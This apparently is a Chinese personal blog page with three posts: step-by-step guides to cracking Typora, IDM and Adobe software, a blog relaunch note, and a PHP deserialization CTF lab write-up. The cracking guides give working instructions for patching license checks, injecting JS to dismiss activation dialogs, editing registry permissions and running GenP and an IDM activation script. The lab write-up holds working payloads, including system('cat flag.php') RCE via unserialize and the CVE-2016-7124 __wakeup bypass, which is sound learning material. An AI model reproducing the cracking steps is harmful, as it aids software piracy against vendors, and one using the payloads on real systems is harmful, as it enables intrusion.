chuzouX Blog

自用软件合集！

Mon, 01 Sep 2025 00:00:00 GMT

自用软件/站点合集！（持续更新）

免责声明

本站所有的软件均来自网络，逆向教程仅用于学习和交流，请在软件下载24小时内删除

软件/站点目录

本文章所含软件教程均来自本站 如需查看单个软件可以在本站找到原文

Typora
IDM
Adobe

Typora

介绍

一款 Markdown 编辑器和阅读器

官方售价：89元 / 3台设备 / 免费升级

支持平台：Mac、Windows、Linux

下载

下载链接：请点击此处

推荐下载版本1.10.8

白嫖教程

本软件使用明文校验的方式进行正版验证

（一）、下载并安装*

下载链接：https://typora.io/releases/all（选择1.10.8）

亲测在1.11.*版本加入了js校验更改文件就会闪退

（二）、修改文件*

在安装位置中进入如下路径

此处是安装路径 \typora\resources\page-dist\static\js

找到LicenseIndex.xxxxxxxxxxx.chunk文件并用文本/代码编辑软件打开

将

e.hasActivated="true"==e.hasActivated,

替换为

e.hasActivated="true"=="true",

（三）、更改注册表

如果忽略此步可能会导致软件闪退

Win+R键输入regedit打开注册表

输入或找到如下路径

计算机\HKEY_CURRENT_USER\Software\Typora

右键此项打开权限页面

将Administrators右侧权限改为拒绝保存并应用即可

此时打开软件已经变为已激活状态

（四）、关闭软件每次启动时的已激活弹窗

打开编辑如下文件

Typora\resources\page-dist\static\js\0.99879679.chunk.js

将

var div = document.createElement('div');

div.id = 'myOverlay';

div.style.position = 'fixed';
div.style.top = '0';
div.style.left = '0';
div.style.width = '100vw'; 
div.style.height = '100vh';
div.style.backgroundColor = 'rgb(54,59,64)'; 
div.style.zIndex = '9999'; 

document.body.appendChild(div);

setTimeout(function () {
 var overlay = document.getElementById('myOverlay');
 if (overlay) {
     overlay.remove(); 
 }

 document.querySelector('.default-btn.secondary-btn').click(); 

}, 360);

插入到第一行注释和(this.xxxxxxxxxx)中间

（五）、去除软件左下角未激活提示

打开编辑如下文件

Typora\resources\locales\zh-Hans.lproj\Panel.json

将

"UNREGISTERED":"未激活"

替换为

"UNREGISTERED":"已激活"

IDM

介绍

IDM是一款功能强大的下载管理软件，它可以帮助用户加速下载速度、恢复中断的下载、管理下载任务以及组织文件。IDM支持HTTP、FTP、HTTPS、HTTP2等协议，并能与大多数浏览器集成，提供无缝的下载体验。

官方售价：83.95元/年（单台）185元/永久（单台） 69.95元/年（两台每台）140元/永久（两台每台）

支持平台：Windows

下载

下载链接：请点击此处

白嫖教程

本软件使用以下项目进行破解

::github{repo="lstprjct/IDM-Activation-Script"}

（一）、下载并安装*

下载链接：https://www.internetdownloadmanager.com/download.html

下载完安装包后一路确定即可安装成功

打开关于我们发现版本显示未注册

（二）、下载破解脚本*

下载链接：https://github.com/lstprjct/IDM-Activation-Script/releases

选择最新版本的补丁下载

（三）、使用破解补丁*

将下载到的文件解压到文件根目录

运行IAS.cmd脚本

输入1进入激活模式 根据提示进行确定操作

（四）、检查IDM是否已被激活

再次打开关于页面查看是否被激活

看到序列号就说明已经被完美激活

根据实测此激活版本可正常更新但非常不建议这么做

Adobe

前言

之前装过一个离线的Photoshop 2023版本，不过后来用的时候提示 # This unlicensed Adobe app is not genuine and will be disable

类似于这样的一个页面尝试禁用adobe相关域名的网络但是只维持了几天

仍出现THIS APP HAS BEEN DISABLED的提示点击后直接崩溃然后我就去找一些教程尝试了很多教程都没有办法缓解知道我看见这一条评论

下载一个Adobe GenP-v3.7.1.exe，就可以完美解决，我用了Up的方法，还有其他方法都不行，就这个玩意找到对应文件夹，然后点Search，然后点Path一下，就完事了，实测有效。有需要私信我。

经过实验发现 GenP 破解有以下优点

可以在Adobe Creative Cloud更新
所有标准内容包和工具均默认通过官方安装程序下载
拥有完善的wiki与社群
由于采用手动控制，大多数人认为它更安全
非常适合完整的 Adobe 套件和多个应用程序
软件开源

于是就有了这篇文章

GenP教程

:::Caution

GENP 完全免费

GenP 从设计之初就完全免费，并且一直如此。GenP 本身不接受任何捐赠，也不要求任何捐款，因为让所有人都能使用这个项目是我们的核心原则。任何与 GenP 官方相关的人员都不会要求为该工具支付任何费用或接受任何捐赠。

GenP社区的官方运作平台是Lemmy和Stoat，GenP Wiki是唯一可信的下载和文档来源。这些平台直接链接到官方GenP Wiki，以避免镜像和重新上传造成的混乱。

不幸的是，GenP经常被第三方盗用，他们以自己的名义重新上传，通常还会捆绑广告、虚假下载管理器、弹窗、调查问卷，甚至恶意软件。这些上传行为的唯一目的就是利用GenP的流行度来获取流量和利润。

:::

:::Important

这篇文章根据 GenP-v4.0.0.exe 编写，由于软件仍在更新，很多东西可能已经无法使用，请以官方wiki最新内容为主

:::

适用设备

GenP 和 Monkrus 兼容性 – 仅支持部分 Windows 版本

GenP 仅支持 Adobe 官方支持的基于 x64 的 Windows 10 和 Windows 11 版本。

Monkrus 可在基于 x86 和 x64 的 Windows 10 或 11 系统上运行（取决于版本），但可能会绕过某些安装程序端的检查，以牺牲稳定性和兼容性为代价。

GenP 和 Monkrus 均不支持 ARM64、IoT、LTSC 或修改或精简的 Windows 版本。

由于 GenP 和 Monkrus 的工作原理是直接修改 Adobe 应用程序，因此所有 Adobe 官方系统要求仍然适用。不受支持的 Windows 版本（例如 IoT、LTSC、ARM64 或高度定制的版本）无论激活状态、更新补丁或 ESU 使用情况如何，均不受支持。

兼容性列表

官方最新列表：https://wiki.dbzer0.com/genp-guides/compatibility-list/

通用版本 (GA) 应用 (x86/x64)

这是稳定版本，目前所有受 GenP 支持的用户均可使用。

:::details

Acrobat v25.1 (Latest: v25.001.21265)
After Effects v26.0
Audition v26.0
Bridge v16.0.2
Camera Raw v18.2.1
Character Animator v26.0
Creative Cloud v6.8.1.865
Dimension v4.1.8
Dreamweaver v21.7
Illustrator v30.2.1
InCopy v21.2
InDesign v21.2
Lightroom Classic v15.2
Media Encoder v26.0
Photoshop v27.4
Photoshop Elements ≥v26.0 (Latest: v2026.2 - Build: 20251121.PSE.e62dc8f8)
Premiere Elements ≥v26.0 (Latest: v2026.1 - Build: 20251104.PRE.65345cd3)
Premiere Pro v26.0.1
Substance 3D Designer v15.1.2
Substance 3D Modeler v1.22.6
Substance 3D Painter v11.1.3
Substance 3D Sampler v5.1.3
Substance 3D Stager v3.1.8

:::

GenP (x86/x64) 不支持的通用版本 (GA) 应用

GenP 不再支持这些 GA 应用。部分应用可能仍可运行且仍可通过补丁修复，因为它们尚未从 GenP 中移除。其他应用现在可以免费使用，不再需要补丁，而部分应用的支持已停止。我们将不再提供任何帮助或支持。

:::details

Aero v0.24.4（已停产/生命周期结束 - 已于 2025 年 11 月 6 日从 Creative Cloud 中移除；服务器已于 2025 年 12 月 3 日关闭）
Animatev24.0.12（维护模式；无新功能；仅进行安全和错误修复更新；仍对新老用户可用）
Express Photos （Adobe，原名 Photoshop Express。基础 CC 版本；可能通过 Microsoft Storev3.24.4自动更新）≥v3.28
Fresco v5.7.0（所有版本≥v5.7.0均可免费使用，无需打补丁；仅≤v5.5.5可使用以下方式打补丁GenP v3.4.2）
Lightroomv9.2
Maxon Cinema 4D v2026.1.3（所有版本≥v2024.3.2，使用免费的 C4D Lite 许可证；仅≤v2024.2.0支持版本补丁GenP v3.4.13.4）
Premiere Rush v2.10（已停止服务；不再向新用户开放。2026年9月30日之后将完全停止支持）
UXP开发者工具v2.2.1（无需打补丁）
XD v60.0.12（GenP v3.4.2仅限补丁程序）（已停止更新；不再向新用户提供。现有用户只有在加入 Creative Cloud Pro 计划后才能获得维护和错误修复更新。）

:::

第一步：下载Adobe Creative Cloud

Adobe Creative Cloud下载链接

🔗 Creative Cloud (CC) - Adobe 下载 -请始终优先使用此版本 🔗 Creative Cloud (CC) - Adobe 替代下载 -如果您在使用 Adobe 下载时遇到问题，请使用此下载方式 🔗 Creative Cloud (CC) - 备份下载 -仅当您上述两个 Adobe 下载都出现问题时才使用。

然后正常根据引导下一步即可（直接登录自己的Adobe账号）

:::Warning

如果显示 -请勿安装 Adobe 正版服务 (AGS) - 如果未显示，请继续。

:::

安装完毕之后打开Adobe Creative Cloud

在 文件>首选项>常规>设置中关闭所有

第二步：下载GenP最新版本

打开下载链接：https://gen.paramore.su/ 直接下载最新版本

直接下载二进制文件即可若不放心可与选择source自行构建

第三步：破解Adobe Creative Cloud

先关闭Adobe Creative Cloud进程然后打开GenP 在Options中打开Always search for ACC

先点Path找到下载Adobe Creative Cloud的目录（到Adobe目录即可） 然后再点击search进行搜索

搜索完之后全选然后点击patch破解 等待跑完进度条之后会自动转跳到Log

最后打开Adobe Creative Cloud发现购买按钮已经变成了下载按钮

此时Adobe Creative Cloud已被破解

第四步：下载对应版本软件

提示：在文件>首选项>应用程序>正在安装位置可以修改安装目录

在Adobe Creative Cloud找到对应软件但是不要直接下载 在兼容性列表中先找到对应软件查看支持版本

在其他版本中下载对应版本

第五步：使用GenP解锁软件

打开GenP 在path中找到你下载软件的目录（依旧到adobe目录即可）

然后直接全选进行patch读条结束后依旧展示Log

关闭GenP 打开软件即可完成解锁

阻止不必要的 Adobe 后台进程 (PS/DC)

这里引用官方的wiki内容

除了这里提到的那些之外，不要阻止其他后台进程，阻止其他后台进程既不建议也不必要。

注意： 在现代设备上，这些后台进程通常不会影响性能，因此通常无需重命名。本指南主要面向使用旧设备的用户或因 Adobe 后台进程而遇到性能问题的用户。如果您仍然希望阻止这些进程，请按照以下说明操作。

感谢 Verix

适用于 Photoshop：

:::details

你只需要重命名这四个.exe文件即可。

C:\Program Files (x86)\Adobe\Adobe Sync\CoreSync\CoreSync.exe
C:\Program Files\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe
C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
C:\Program Files\Common Files\Adobe\Creative Cloud Libraries\CCLibrary.exe

只需.bak在句点后添加即可.exe。

例如：CoreSync.exe-->CoreSync.exe.bak

（如果文件名中看不到.exe扩展名，您需要在资源管理器中启用文件扩展名显示。）

:::

适用于 Acrobat DC：

:::details

你只需要重命名这个.exe.文件即可。

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

只需.bak在句点后添加即可.exe。

例如：AdobeCollabSync.exe-->AdobeCollabSync.exe.bak

（如果文件名中看不到.exe扩展名，您需要在资源管理器中启用文件扩展名显示。）

:::

⚠️用于安装和更新：

:::details

要在 Creative Cloud 中执行任何新安装或更新，您必须至少还原以下名称更改：

C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe

此文件是 Creative Cloud 的核心服务，用于管理安装和更新流程。如果重命名或禁用此文件，安装和更新将失败或被阻止。

当使用 GenP 对 CC 进行修补时，.bak会创建一个与原始未修改版本相同的文件副本。请勿删除此.bak文件，因为它是唯一无需修复或重新安装 CC 即可恢复的未修改版本。

如果您之前.exe为了阻止更新而重命名了已打补丁的文件，请在安装或更新之前将该已打补丁的文件名恢复原名Adobe Desktop Service.exe。除非已打补丁的版本已丢失，否则不要直接重命名该.bak文件.exe，因为这会将 CC 恢复到未打补丁的状态。

**警告：**恢复.bak文件会将已打补丁的版本替换为原始版本，这意味着 CC 将不再打补丁。如果执行此操作，则必须在完成安装或更新后使用 GenP 重新为 CC 打补丁。

如果原始文件丢失或损坏，请使用 CC 应用卸载工具将其恢复，然后再重新安装 CC。此过程在“故障排除”部分的“CC 应用错误”中有详细说明。

为了完全兼容并防止与其他 Adobe 应用程序出现安装或更新问题，请.exe在继续操作之前将所有重命名的文件恢复为原始名称。

:::

温馨提示

没事别更新！没事别更新！没事别更新！

个人博客重建秽土转生！！

Sun, 31 Aug 2025 00:00:00 GMT

个人博客重建复活

关于博客

本站于2025年08月31日复活，与以前相比，本次复活将原本的Hexo更换为astro框架，并保留了原始数据（包括但不限于原本博客的文章），最近在逐步进行重建与修正，欢迎各位站长前来互换友链！！

这边说一下这两个框架的使用感受吧

在使用体验上，Hexo和astro有许多相似的地方，Hexo的许多东西能直接搬到astro上使用，但astro的处理速度大于Hexo（我认为），而且我在astro上遇到的问题较少一点，因此更换了astro框架

astro框架比Hexo的上手难度略高。由于生态问题，astro没办法像Hexo那样配置，上手难度较高，美化起来比较麻烦，这边是直接用的二叉树树魔改的fuwari主题进行三改，减少了不少繁琐的过程，这边感谢二叉大大

关于一些技术细节

cloudflare优选
astro框架
Google Analytics
Umami 分析
百度分析
giscus评论

目前没有找到一些好用的cdn，我自认为对于本小站来说cloudflare优选足矣，但是itdog给出的数据却不尽人意

~~目前在观察速度阶段，后续如果没有合适的cdn，可能会将此站迁移到vercel中部署~~ 本站已迁移到vercel部署速度如下

一些问题与回答

Q:为什么两年都没有更新文章 A:在2023年高一结束后，我转学到了封闭式学校，无法进行博客的维护与更新

Q:博主大学去向 A:山东潍坊学院人工智能专业

Q:怎么在暑假末尾才去修复博客 A:预想是等待录取通知书→学生认证→租服务器-200→重建 实际上等待录取通知书→学生认证→立减券200→无法用于租非大陆地区→等待服务商活动→租服务器→重建

Q:博主高考情况 A:高考总分510，最后还是败在了语文上（90/150），不过在语文上来就爆炸的情况下，能够调整心态面对其他科目考试已经不错了，虽然有些遗憾，但是家里人对这个成绩算是比较满意

Q:博主还会更新近况/日常系列吗 A:会的，会的兄弟。博主接下来会逐步更新自己的日常，慢慢补充在这两年期间发生的事情

结语

~~我重生了，重生在暑假的最后一天。上一世被主人丢弃被活活饿死，这一世一定要发挥出自己的作用，好好活下去~~

新站开业，请多关照~

[反序列化靶场]PHPSerialize-lab系列全流程WriteUp

Mon, 30 Mar 2026 19:10:40 GMT

[反序列化靶场]PHPSerialize-lab系列全流程WriteUp

前言

靶场项目下载：

靶场作者探姬

::github{repo="ProbiusOfficial/PHPSerialize-labs"}

在线靶场：https://www.nssctf.cn/problem 在 HelloCTF 来源中搜索 反序列化靶场

所有的魔术方法 https://www.php.net/manual/zh/language.oop5.magic.php

题目列表

[反序列化靶场]Level1-类的实例化

class FLAG{  
    public $flag_string = "NSSCTF{？？？？}";  
  
    function __construct(){  
        echo $this->flag_string;  
    }  
}  
  
$code = $_POST['code'];  
  
eval($code);

这里讲的是关于__construct魔法函数的作用 当某类被实例化后该类内中的__construct魔法函数被调用

很显然这里__construct魔法函数的作用就是输出Flag 我们直接实例化即可

实例化：new class();

Payload：

POST传参 code=new FLAG();

得到Flag

NSSCTF{OK_Now_y0u_c4n_se3_me}

[反序列化靶场]Level2-值的传递

error_reporting(0); 
$flag_string = "NSSCTF{？？？？}";  
   
 class FLAG{  
        public $free_flag = "???";  
  
        function get_free_flag(){  
            echo $this->free_flag;  
        }  
    }  
$target = new FLAG();  
  
$code = $_POST['code'];  
  
if(isset($code)){  
       eval($code);       
       $target->get_free_flag();  
}  
else{    
highlight_file('source');  
}

这边可以看到提示$flag_string变量保存的是Flag 类FLAG被实例化为$target 这边如果给code传参会触发 $target->get_free_flag(); 输出FLAG类中的$free_flag的变量

这边题目的意思就是让你将$flag_string赋值给FLAG类中的$free_flag的变量然后输出Flag

这一Level 主要是教你类的赋值

Payload：

POST传参 code=$target -> free_flag = $flag_string;

得到Flag

NSSCTF{I_giv3_t0_y0u&y0u_giv3_t0_me}

[反序列化靶场]Level3-值的权限

class FLAG{       
	public $public_flag = "NSSCTF{?";      
	protected $protected_flag = "?";      
	private $private_flag = "?}";          
	function get_protected_flag(){           
		return $this->protected_flag;       
	}          
	function get_private_flag(){
		return $this->private_flag;       
	}   
}      
class SubFLAG extends FLAG{       
	function show_protected_flag(){           
		return $this->protected_flag;       
	}          
	function show_private_flag(){           
		return $this->private_flag;       
	}   
}     
$target = new FLAG();   
$sub_target = new SubFLAG();         
$code = $_POST['code'];      
if(isset($code)){       
	eval($code);   
} else {    
	highlight_file(__FILE__);       
	echo "Trying to get FLAG...<br>";       
	echo "Public Flag: ".$target->public_flag."<br>";       
	echo "Protected Flag:".$target->protected_flag ."<br>";     
	echo "Private Flag:".$target->private_flag ."<br>";   }      
?>   
`Trying to get FLAG...  
Public Flag: NSSCTF{se3_me_  
Protected Flag: Error: Cannot access protected property FLAG:: in ?  
Private Flag: Error: Cannot access private property FLAG:: in ?  
...Wait,where is the flag?

这个题目就比较有意思了这是一个关于PHP类变量的权限问题我这里放出一个表来表示他们之间的权限关系

	public	protected	private
自身	√	√	√
子类	√	√	×
外部	√	×	×
所以直接使用被实例化的`FLAG`类自身便可以直接获取三个变量的值

其一Payload

POST传参 code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

其子类SubFLAG也可以访问其protected修饰的变量

所以其二Payload

POST传参 code=echo $target->public_flag.$sub_target->show_protected_flag().$target->get_private_flag();

若使用$sub_target->show_private_flag()来获取的话则子类并没有权限访问父类private修饰的变量

则没有其三Payload

得到Flag

NSSCTF{se3_me_4nd_g3t_mmmme}

[反序列化靶场]Level4-初体验

class FLAG3{  
    private $flag3_object_array = array("？","？");  
}  
  
class FLAG{  
     private $flag1_string = "？";  
     private $flag2_number = '?';  
     private $flag3_object;  
  
    function __construct() {        
	    $this->flag3_object = new FLAG3();  
    }  
}  
  
$flag_is_here = new FLAG();  
  
$code = $_POST['code'];  
  
if(isset($code)){  
    eval($code);  
} else {    
	highlight_file(__FILE__);  
}

这一层level要我们了解PHP序列化这一保存原理为了方便保存所有的数据被序列化为一段字符串进行保存

序列化与反序列化的过程可以理解为打包/解包的过程

从源码中可以看到FLAG类中__construct这个魔法函数实例化了FLAG3类若将其打包FLAG 那么打包后的内容则会含有FLAG3类的所有数据所以我们就可以从中得到flag

Payload：

POST传参 code=echo serialize($flag_is_here);

得到字符串如下

O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}

从FLAGflag1_string、FLAGflag2_number、FLAGflag3_object这几个提示的部分将flag拼接

得到Flag

NSSCTF{ser4l1ze2se3me}

[反序列化靶场]Level5-普通值规则

class a_class{      
	public $a_value = "NSSCTF";   
}   
$a_object = new a_class();   
$a_array = array(a=>"Hello",b=>"CTF");   
$a_string = "NSSCTF";   
$a_number = 678470;   
$a_boolean = true;   
$a_null = null;   

See How to serialize:  
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}  
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}  
a_string: s:6:"NSSCTF";  
a_number: i:678470;  
a_boolean: b:1;  
a_null: N;  
Now your turn!

<?php      
$your_object = unserialize($_POST['o']);   
$your_array = unserialize($_POST['a']);   
$your_string = unserialize($_POST['s']);   
$your_number = unserialize($_POST['i']);   
$your_boolean = unserialize($_POST['b']);   
$your_NULL = unserialize($_POST['n']);      
if(    
	$your_boolean &&     
	$your_NULL == null &&    
	$your_string == "IWANT" &&    
	$your_number == 1 &&    
	$your_object->a_value == "FLAG" &&
	$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"  
)
{       
	echo $flag;   
}   
else{       
	echo "You really know how to serialize?";   
}

从第一个代码块他告诉我们这几个类型被序列化的样子我们如果让他进行反序列化则会给予对应的数据便可以进行赋值等操作

a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}  
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}  
a_string: s:6:"NSSCTF";  
a_number: i:678470;  
a_boolean: b:1;  
a_null: N;

根据要求我们将以上数据照着葫芦画瓢

Payload：

your_object: O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
your_array: a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
your_string: s:5:"IWANT";
your_number: i:1;
your_boolean: b:1; //这里按照 php 基础判断需要让布尔值为 1
your_NULL: N;  

然后我们依次进行POST传参即可

得出Flag

NSSCTF{Gre4t,y0u_can_als0_ser4l1ze2se_1n_y0ur_m1nd!}

[反序列化靶场]Level6-权限修饰规则

class protectedKEY{
    protected $protected_key;
    
    function get_key(){
        return $this->protected_key;
    }
}
class privateKEY{
    private $private_key;  
    
    function get_key(){
        return $this->private_key;
    }  
}  

See Carfully~  
"protected" serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D  
"private" serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D

这个题目想告诉我们在被protected、private进行特殊修饰的变量被序列化的时候存在形式

由他给出的序列化的数据可以他们在原有的基础上加了一个%00{?}%00这个东西 关于%00 是NULL在被urlencode之后的数据以防出现问题这种进行传参就在urlencode之后再进行传参即可而且在计算长度的时候之将其视为1长度

我这边整理出来不同修饰符被序列化后的格式

	public	protected	private
格式	{value}	%00*%00{value}	%00{classname}%00{value}

$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);
if(isset($_POST['protected_key'])&&isset($_POST['private_key'])){
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
        echo $flag;
    } else {
        echo "We Call it %00_Contr0l_Characters_NULL!";
    }
} else {
    highlight_file('source');
}

编写Payload

class protectedKEY{
    protected $protected_key="protected_key";
}
class privateKEY{
    private $private_key="private_key";
}
$a = new protectedKEY();
$b = new privateKEY();
echo urlencode(serialize($a)); 
//O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D
echo urlencode(serialize($b));
//O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

将得出的串用POST 传参给 protected_key 和 private_key 便可以得出Flag

NSSCTF{P3rm1ssi0n_Modif_1s_1mp0rtant}

[反序列化靶场]Level7-实例化和反序列化

// FLAG in flag.php
class FLAG{
    public $flag_command = "echo 'Hello CTF!<br>';";
    
    function backdoor(){
        eval($this->flag_command);
    }
}

$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
  
$Instantiate_object = new FLAG(); // 实例化的对象 

$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象
  
$Instantiate_object->backdoor();

$Unserialize_object->backdoor();

'$Instantiate_object->backdoor()' will output:Hello CTF!  
'$Unserialize_object->backdoor()' will output:Hello World!

<?php /* Now Your Turn */  
unserialize($_POST['o'])->backdoor();

这个题目可以教会我们理解我们反序列化后会将原有的数据覆盖我们只需要修改我们反序列化的内容便可以篡改类中变量的值以达到我们想要的效果

其中反序列化数据O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World! ';";} 中的echo 'Hello World! '; 可以明显看到其被反序列化占据了原有的$flag_command 于是我们仅需要修改这一长串数据便可以达到执行我们自己的命令的目的

将echo 'Hello World! ';替换为system('cat flag.php'); // 这里因靶机系统而异这里是linux

替换完之后我们发现mand";s:24:"echo 中的24为原来数据的长度我们替换的数据长度为23 则将原始数据的对应部分改为23即可

Payload：

POST传参 o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}

在源码中得到Flag

NSSCTF{1n3tanti4tion&3er1alizati0n!}

[反序列化靶场]Level8-GC机制

global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;

class FLAG {
    public $class_name;
    public function __construct($class_name)
    {
        $this->class_name = $class_name;
        global $construct_flag;
        $construct_flag++;
        echo "Constructor called " . $construct_flag . "<br>";
    }
    public function __destruct()
    {
        global $destruct_flag;
        $destruct_flag++;
        echo "Destructor called " . $destruct_flag . "<br>";
    }
}

/*Object created*/
$demo = new FLAG('demo');  

/*Object serialized*/
$s = serialize($demo);
  
/*Object unserialized*/
$n = unserialize($s);  

/*unserialized object destroyed*/
unset($n);

/*original object destroyed*/
unset($demo);

/*注意 此处为了方便演示为手动释放，一般情况下，当脚本运行完毕后，php会将未显式销毁的对象自动销毁，该行为也会调用析构函数*/
/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存，销毁不被引用的对象:*/
new FLAG();

Object created:Constructor called 1  
Object serialized: But Nothing Happen(:  
Object unserialized:But nothing happened either):  
serialized Object destroyed:Destructor called 1  
original Object destroyed:Destructor called 2  
  
This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2  
Destructor called 3  
  
Now Your Turn!, Try to get the flag!

欸，您猜怎么着！这里还真是我的盲点，这个题说的GC机制(垃圾回收机制)比较复杂，而且全是专业术语比较抽象

构造函数只会在类实例化的时候 —— 也就是使用 new 的方法手动创建对象的时候才会触发，而通过反序列化创建的对象不会触发这一方法，这也是为什么，在前面的内容，我将反序列化的对象创建过程称作为 “还原”。

析构函数会在对象被回收的时候触发 —— 手动回收和自动回收。

手动回收：就是代码中演示的 unset 方法用于释放对象。

自动回收：对象没有值引用指向，或者脚本结束完全释放，具体看题目中的演示结合该部分文字应该不难理解。

题目要求全局变量标识符flag的值大于5，根据 __destruct() 和 PHP GC 的特性，我们可以不断地去序列化和反序列化一个对象，然后不给该对象具体的引用以触发自动销毁机制。

我这里用一点简单的大白话去将这个道理 省流一下其实很好理解

__construct 这个函数只有new xxx();才能触发，序列化、反序列化均不产生影响
__destruct 这个函数被激活有一下情况
1. 程序结束自动销毁
2. unset();销毁该类
3. 使用序列化和反序列化完成生命周期

所以这个题目有两种解法使flag的值大于5

其一Payload

POST传参 code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

flag的值变化为

1x new RELFLAG(); + 4x unserialize(); + 1x 程序结束 = 6 > 5  得到flag

其二Payload

POST传参
code=$RELFLAG1 = new RELFLAG();$RELFLAG2 = new RELFLAG();$RELFLAG3 = new RELFLAG();$RELFLAG4 = new RELFLAG();$RELFLAG5 = new RELFLAG();unset($RELFLAG1);unset($RELFLAG2);unset($RELFLAG3);unset($RELFLAG4);unset($RELFLAG5);

flag的值变化为

全局变量$flag在构造函数中被重置为0然后++，导致每次new后$flag=1。
同样在第五次$RELFLAG5 = new RELFLAG();后$flag=1
然后再进行连续五次的 unset(); 每次 unset(); $flag += 1;
1x $RELFLAG5 = new RELFLAG(); -> 5x unset($RELFLAG); = 6 > 5  得到flag

得到Flag

NSSCTF{Construct0r_&_D3struct0r}

[反序列化靶场]Level9-构造函数的后门

// flag在环境变量
class FLAG {  
    var $flag_command = "echo 'HelloCTF';";  
    public function __destruct()  
    {  
        eval ($this->flag_command);  
    }  
}  
  
unserialize($_POST['o']);

首先定位到eval函数然后发现里面是一个flag_command变量所以如果我们可以修改里面变量的值就可以做到 RCE

如何改变？我们可以看到下面的反序列化我们可以通过自己构建序列化的数据进行反序列化然后便可以替换掉其中的flag_command 变量值

Payload

class FLAG {
    var $flag_command = "system('env');";
    //rce指令因系统而异
}

$a = new FLAG();
echo serialize($a);
//O:4:"FLAG":1:{s:12:"flag_command";s:14:"system('env');";}
POST传参即可

得到FLag

NSSCTF{5b9f126f-4adf-456e-86bf-0675e9a76816}

[反序列化靶场]Level10-__wakeup()

class FLAG{  
    function __wakeup() {  
        include 'flag.php';  
        echo $flag;  
    }  
}  
  
if(isset($_POST['o']))  
{    
	unserialize($_POST['o']);  
}else {    
	highlight_file(__FILE__);  
}

__wakeup()，执行unserialize()时，先会调用这个函数

所以直接反序列化一个名为FLAG的空类即可

Payload：

class FLAG {
}
$a = new FLAG();
echo serialize($a);
//O:4:"FLAG":0:{}
POST传参即可

得到Flag

NSSCTF{Default_Flag}

[反序列化靶场]Level11-CVE-2016-7124

error_reporting(0);  
  
include 'flag.php';  
  
class FLAG {  
    public $flag = "FAKEFLAG";  
  
    public function  __wakeup(){  
        global $flag;        
        $flag = NULL;  
    }  
    public function __destruct(){  
        global $flag;  
        if ($flag !== NULL) {  
            echo $flag;  
        }else  
        {  
            echo "sorry,flag is gone!";  
        }  
    }  
}  
  
if(isset($_POST['o']))  
{    
	unserialize($_POST['o']);  
}else {    
	highlight_file(__FILE__);    
	phpinfo();  
}  
  
?>

分析这个题目可知只要在$flag !== NULL的条件下执行__destruct函数便可以拿到flag

且默认状态下 $flag !== NULL 条件成立但是如果执行__wakeup函数则会使条件不成立

所以我们要绕过__wakeup函数不让它执行这就是我们这道题的主角CVE-2016-7124

这个CVE-2016-7124影响范围如下

PHP5 < 5.6.25
PHP7 < 7.0.10

如何利用呢？只需要修改最后你要绕过的类的成员数量以这个题目举例

class FLAG {
    public $flag = "FAKEFLAG";
}
$a = new FLAG();
echo serialize($a);
//O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}

这里得出的O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";} 成员数量为1 修改为其他数量即可

Payload：

O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

得出Flag

NSSCTF{77b007ba-81cd-40f4-a355-849a51ec3877}

[反序列化靶场]Level12-__sleep()

class FLAG {  
  
    private $f;  
    private $l;  
    protected $a;  
    public  $g;  
    public $x,$y,$z;  
  
    public function __sleep() {  
        return ['x','y','z'];  
    }  
}  
  
class CHALLENGE extends FLAG {  
  
    public $h,$e,$l,$I,$o,$c,$t,$f;  
  
    function chance() {  
        return $_GET['chance'];  
    }  
    public function __sleep() {        
    /* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */        
	    $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];        
	    $_=array_rand($array_list);$__=array_rand($array_list);  
	    return array($array_list[$_],$array_list[$__],$this->chance());  
    }  
  
}  
  
$FLAG = new FLAG();  
echo serialize($FLAG);  
  
echo serialize(new CHALLENGE());

//If you serialize FLAG, you will just get x,y,z  
//O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}  
